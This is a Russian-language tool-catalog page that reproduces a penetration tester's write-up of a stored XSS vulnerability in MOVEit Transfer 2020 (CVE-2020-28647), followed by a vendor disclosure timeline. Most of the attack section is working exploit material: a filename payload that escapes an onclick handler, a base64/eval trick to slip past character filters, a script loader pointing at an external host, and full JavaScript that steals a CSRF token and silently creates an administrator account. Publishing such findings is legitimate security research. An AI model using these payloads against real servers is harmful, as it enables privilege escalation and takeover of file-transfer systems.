Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
Progress-MOVEit-Transfer-2020.1-Stored-XSS-CVE-2020-28647 — Хранимый межсайтовый скриптинг (XSS) в веб-приложении MOVEit Transfer 2020 | Kitploit
Инструменты/GitHubGitHub/secforce/progress-moveit-transfer-2020.1-stored-xss-cve-2020-28647
Повышение привилегийАнализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийТестирование на ПроникновениеОбучение и Образование
GitHubsecforce/progress-moveit-transfer-2020.1-stored-xss-cve-2020-28647

Progress-MOVEit-Transfer-2020.1-Stored-XSS-CVE-2020-28647

Хранимый межсайтовый скриптинг (XSS) в веб-приложении MOVEit Transfer 2020

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться
Репозиторий
5 лет назадЕщё не проверено

Progress MOVEit Transfer < 2020.1 Хранимая XSS (CVE-2020-28647)

Во время недавнего тестирования веб-приложения одним из приложений в рамках работ было веб-приложение MOVEit Transfer 2020. В ходе оценки была выявлена уязвимость хранимого межсайтового скриптинга (XSS). В этом сообщении блога мы рассмотрим обнаружение и эксплуатацию такой уязвимости для получения административного доступа к веб-приложению.

При тестировании проверки ввода в ряде различных полей ввода, найденных в приложении, одно конкретное поле ввода, казалось, выдавало неожиданный вывод при вводе определённых нагрузок. Этим полем было имя загружаемого файла. После загрузки файлов с определёнными именами было обнаружено, что при попытке загрузить файл кнопка загрузки не выполняла никаких действий. Это поведение было исследовано, и, как мы видим на изображении ниже, при нажатии на кнопку загрузки возникает ошибка JavaScript.

После обнаружения этой ошибки был проанализирован HTML-код кнопки загрузки. Из первоначального анализа следовало, что имя файла включается в функцию JavaScript onclick кнопки без надлежащей очистки, как показано на изображении ниже.

С этим наблюдением стало ясно, что можно внедрить код JavaScript, который будет выполнен, как только пользователь нажмёт кнопку Download. Первым шагом было создание кода Proof of Concept, который вызывает всплывающее окно JavaScript через функцию alert. Учитывая характер кода и место внедрения имени файла, была создана следующая нагрузка. Эта нагрузка завершит вызываемую функцию и добавит новую функцию, alert(), за которой следует фиктивная функция для завершения кода.

root@kitploit:~
test", 382,"1234");alert("XSS");a("test

Имея эту нагрузку, мы можем её протестировать. Мы можем загрузить файл, а затем перехватить запрос на загрузку на сервер с помощью Burp Proxy, изменить имя файла и переслать запрос на сервер.

После загрузки файла мы можем открыть его, щёлкнув по имени файла, а затем щёлкнуть по кнопке Download. Здесь мы видим, что XSS срабатывает и появляется всплывающее окно JavaScript alert.

Круто! Итак, мы можем выполнять произвольный код JavaScript. Что ещё можно сделать? Можем ли мы получить что-то большее?

После изучения приложения и его функциональных возможностей потенциальным вектором атаки может быть попытка пользователя с низким уровнем привилегий повысить их для получения административного доступа к веб-приложению.

Первым шагом была проверка возможности выполнения HTTP-запросов через JavaScript с помощью XMLHttpRequest. При просмотре настроек для имён файлов и папок было обнаружено, что MOVEit не позволяет использовать символы / или \ в имени файла. Это может потенциально помешать выполнению HTTP-запросов. Ещё одним ограничением, которое было выявлено, является то, что имя файла ограничено 255 символами.

Исходя из этого анализа, у нас есть несколько ограничений, которые необходимо обойти. Первое — попытаться найти способ обойти ограничение на символы / и \ и попытаться включить файл JavaScript, размещённый на удалённом сервере. Чтобы обойти это ограничение, мы можем закодировать код JavaScript, который хотим выполнить, в формате base64, затем декодировать его в памяти и выполнить через функцию eval. Следующий фрагмент кода делает именно это.

root@kitploit:~
t",1","1");var e="BASE64 CODE";var d=atob(e);eval(d);a("t","t

С этим кодом первой попыткой было внедрить тег <script> с источником файла, размещённого извне. Фрагмент кода ниже был закодирован в base64, а затем скопирован в фрагмент выше.

root@kitploit:~
var s=document.createElement("script");s.onload=function(){r();};s.src="http://XXX.XXX.XXX.XXX/t";document.head.appendChild(s);

При попытке этого возникла другая проблема — CSP. Веб-приложение использовало CSP, которая предотвращала загрузку внешних файлов JavaScript.

Итак, мы не можем загружать внешние файлы и не можем включать JS-код, превышающий 255 символов. Что теперь можно сделать? Мы можем попытаться злоупотребить функциональностью MOVEit и использовать его для размещения нашего вредоносного файла JavaScript.

Сначала нужно создать код JavaScript, который выполнит GET-запрос к странице, отвечающей за добавление нового пользователя в систему, и извлечёт оттуда CSRF-токен. Затем скрипт должен будет выполнить POST-запрос для создания нового пользователя с правами администратора, включая извлечённый CSRF-токен. Ниже приведён фрагмент кода, который это делает.

root@kitploit:~
//Exploit Title: MOVEit Transfer 2020 - Stored Cross-Site Scripting (XSS)
//Exploit Author: Mark Galea ([email protected])
//Date: 05-08-2020

function r(){	
    alert(1);
    var uri = "human.aspx?arg12=useradd";
    xhr = new XMLHttpRequest();	
    xhr.open("GET", uri, false);	
    xhr.send(null)
    if (xhr.status === 200)
    {
        responseBody = read_body(xhr);
        firstSubStr = responseBody.substring(responseBody.indexOf("csrftoken")+18);
        csrfToken = firstSubStr.substring(0, firstSubStr.indexOf('"'));
        if (csrfToken){
            var adduserUri = "/human.aspx";
            var body="csrftoken=" + csrfToken + "&transaction=useradd&arg02=0&arg12=useradd&arg01=sectest3&arg03=sectest3&arg04=test1%40secforce.com&arg11=0&arg05=30&Opt03=en&Opt02=20&opt05=1xFEHd%5DFhhVKJm&opt04=1&Arg08=%5B9%255Sj%29%2B4%2ChAUAY3&Arg09=%5B9%255Sj%29%2B4%2ChAUAY3&opt07=%2FHome%2F%5BUSERNAME%5D&Arg10=";
            xhr2 = new XMLHttpRequest();
            xhr2.open("POST", adduserUri, false);
            xhr2.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
            xhr2.send(body);
        }
    }
}

function read_body(xhr) {
    var data;
    if (!xhr.responseType || xhr.responseType === "text") {
        data = xhr.responseText;
    } else if (xhr.responseType === "document") {
        data = xhr.responseXML;
    } else if (xhr.responseType === "json") {
        data = xhr.responseJSON;
    } else {
        data = xhr.response;
    }
    return data;	
}

Приведённый выше код JavaScript необходимо сохранить в файл, а затем загрузить в MOVEit. После загрузки файла откройте его детали и щёлкните по кнопке загрузки, перехватывая веб-запросы с помощью Burp Proxy. В журналах Burp Proxy должна быть запись для прямой ссылки загрузки файла. Этот URL должен выглядеть примерно так:

root@kitploit:~
https://<MOVEIT_URL>/download?arg01=file693187292&arg02=693313636

Имея прямую ссылку для загрузки, мы можем настроить её включение в нагрузку. Приведённый ниже код создаст тег скрипта, установит URL источника на прямую ссылку загрузки, затем вставит тег скрипта в тег head страницы и в onload выполнит функцию r().

root@kitploit:~
var s=document.createElement("script");s.onload=function(){r();};s.src="/download?arg01=file693187292&arg02=693313636";document.head.appendChild(s);

Следующий шаг — закодировать приведённый выше фрагмент кода в base64:

root@kitploit:~
dmFyIHM9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7cy5vbmxvYWQ9ZnVuY3Rpb24oKXtyKCk7fTtzLnNyYz0iL2Rvd25sb2FkP2FyZzAxPWZpbGU2OTMxODcyOTImYXJnMDI9NjkzMzEzNjM2Ijtkb2N1bWVudC5oZWFkLmFwcGVuZENoaWxkKHMpOw==

Затем нужно внедрить эту окончательную нагрузку XSS. Для этого загрузите файл, перехватив запросы с помощью Burp Proxy, и измените имя загружаемого файла на приведённую ниже нагрузку XSS.

root@kitploit:~
t",1","1");var e="dmFyIHM9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7cy5vbmxvYWQ9ZnVuY3Rpb24oKXtyKCk7fTtzLnNyYz0iL2Rvd25sb2FkP2FyZzAxPWZpbGU2OTMxODcyOTImYXJnMDI9NjkzMzEzNjM2Ijtkb2N1bWVudC5oZWFkLmFwcGVuZENoaWxkKHMpOw==";var d=atob(e);eval(d);a("t","t

После загрузки файла щёлкните по загруженному файлу, чтобы открыть его детали, и нажмите кнопку Download, чтобы запустить XSS и создание пользователя с правами администратора. Пользователь с низким уровнем привилегий может настроить эту установку, и если файл будет загружен администратором, то пользователь с низким уровнем привилегий сможет заставить администратора неосознанно создать учётную запись администратора.

Временная шкала

  • 05.08.2020 - Проблема сообщена
  • 08.08.2020 - Проблема подтверждена, исправление будет включено в следующий основной релиз
  • 16.11.2020 - Опубликован бюллетень Progress MOVEit
  • 17.11.2020 - Опубликован CVE-2020-28647
Скачать инструмент